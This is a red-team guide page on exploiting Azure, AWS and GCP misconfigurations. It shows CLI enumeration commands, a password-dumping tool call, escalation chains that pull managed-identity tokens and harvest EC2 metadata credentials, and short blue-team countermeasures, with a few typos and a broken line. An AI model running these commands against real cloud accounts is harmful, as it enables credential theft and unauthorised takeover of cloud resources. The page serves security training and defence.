> For the complete documentation index, see [llms.txt](https://aenosh-rajora.gitbook.io/cyber-codex/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aenosh-rajora.gitbook.io/cyber-codex/exploiting-misconfigurations-in-azure-aws-and-gcp.md). # Exploiting Misconfigurations in Azure AWS, and GCP
## The Cloud as a Primary Attack Surface The pivot to cloud infrastructure has fundamentally reshaped the adversarial landscape. Enterprises leveraging **Azure** and **Google Cloud Platform (GCP)** often underestimate the complexity of securing distributed identities, role-based access controls (RBAC), and resource provisioning models. This introduces a misconfiguration that red teams can weaponize to escalate privileges, exfiltrate sensitive data, or achieve persistent access. ## Reconnaissance and Enumeration ### **Azure:** #### **Credentialed Access (via Az CLI):** ``` az login # Auth with user or service principal. az acount list # Enumerate subscriptions. az ad user list # Dump AD users. az role assignment list # Identify excessive privileges. az ad sp list --show-mine # Shows accessible service principals az storage account list # Discover blob containers and their access levels ``` #### **MicroBurst (PowerShell)** ``` Invoke-EnumerateAzureBlobs -Verbose Invoke-EnumerateAzureSubDomains -Verbose Get-AzurePasswords -Verbose ``` ### **Google Cloud Platform (GCP):** #### **Enumeration with gcloud CLI:** ``` gcloud auth login gcloud projects list gcloud iam roles list --project= gcloud iam service-accounts list gcloud projects get-iam-policy ``` #### **CloudFox Sample Command:** ``` cloudfox gcp -p --all ```

CloudFox IAM mapping visualization

### **AWS (Amazon Web Services)** **Credentialed Enumeration via AWS CLI:** ``` aws sts get-caller-identity aws iam list-users aws iam list-roles aws iam list-policies -scope Local aws s3 ls ``` Tools: `enumerate-iam`, `Pacu`, `CloudSploit`, `ScoutSuite`, `awscli` ## High Impact Misconfigurations in GCP, AWS, and Azure Misconfigurations typically arise due to over-permissive IAM policies, improper exposure of public resources, and ignorance of internal privilege boundaries. ### **Azure Misconfigurations** #### **Misconfigurations, Attack Vector & Impact:** * **Contributor Role on Subscription:** Allows resource creation including Function Apps and Key Vault abuse. * **Public Storage Containers:** Permits unauthenticated access, data leakage, or malware hosting. * **Exposed Service Principal Credentials:** Hardcoded or leaked secrets reused to impersonate privileged services. * **App Registration Token Disclosure:** Tokens exposed in logs or repository; escalated Graph API access or identity impersonation. Tools: `MicroBurst`, `StormSpotter`, `ADDInternals`, `Az CLI` ### **GCP Misconfigurations** #### **Misconfigurations, Attack Vector & Impact:** * **Public GCS Buckets:** Threat actors can list, download, or overwrite sensitive content. * **Metadata API Exposure on Compute Instances:** Credential harvesting via \; enables lateral movement. * **Editor/Owner IAM Roles:** Complete project takeover; excessive default access. yei * **Function Deployment Rights:** Allows attackers to deploy backdoored Cloud Functions with persistence. Tools: `gcloud`, `CloudFox`, `GCPBuckeBrute`, `Pacu` ### **AWS Misconfigurations** #### **Misconfigurations, Attack Vector & Impact:** * **IAM Policy Wildcards (e.g., `“Action”:”*”`):** Grants unrestricted access to services, enabling privilege escalation * **Public S3 Buckets:** Leads to data leakage or malware hosting in storage * **Over-Privileged Lambda Functions:** Lambda with broad IAM can invoke other services or modify resources. * **EC2 Metadata Service Abuse:** Unrestricted access to 169.254.169.254 yields AWS temporary credentials for privilege escalation * **Misconfigured AssumeRole Policies:** Cross-account or unintended role escalation via AWS STS AssumeRole Tools: `enumerate-iam`, `CloudSploit`, `Pacu`, `ScoutSuite`, `AWSBucketDump` ## Privilege Escalation and Lateral Movement #### **Azure Escalation Chain Example:** ``` az functionapp create --name evilapp --resource-group rg1 --storage-account mystorage curl -H Metadata:true "http://localhost:8080/msi/token?resource=https://graph.microsoft.com" curl -X GET -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/users ``` #### **GCP Escalation Chain Example:** ``` gcloud auth activate-service-account --key-file=creds.json gcloud iam service-accounts impersonate --target-service-account elevated@project.iam.gserviceaccount.com gcloud functions deploy rcefunc --runtime python39 --trigger-http --entry-point=main ``` #### **AWS Escalation Chain Example:** ``` # Access metadata from EC2 instance curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Use harvested creds to escalate via STS aws sts get-caller-identity aws iam list-attached-user-policies --user-name ``` ## Hands-On Labs and Simulations #### **Azure Labs** * HTB → Ready * CloudGoat Azure * Azurite + Local MSI Emulation #### **GCP Labs** * Flaws.cloud (GCP) * CloudGoat GCP Fork * Pacu Lab Scripts #### **AWS Labs** * CloudGoat AWS * Flaws2.cloud * Pacu + LocalStack * Terraform AWS IAM Playground ## Blue Team Countermeasures **Cloud Platform and Defensive Measures** * **Azure:** Monitor Function App logs; enforce RBAC and minimal app scopes. * **GCP:** Audit IAM bindings; block metadata access from exposed services. * **AWS:** Restrict IAM wildcards; monitor STS use and EC2 metadata logs. Tools: `ScoutSuite`, `Prowler`, `Security Hub`, `CloudSploit`, `AWS Config` ## **Final Thoughts** Cloud security is a lattice of privilege inheritance, implicit trust, and user error. Red teams must embrace cloud-native tactics that move laterally across identity providers, abuse role assumptions, and persist in serverless environments. > In 2025, the most dangerous cloud exploit isn’t a vulnerability, it’s a misconfigured role you forgot existed. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://aenosh-rajora.gitbook.io/cyber-codex/exploiting-misconfigurations-in-azure-aws-and-gcp.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.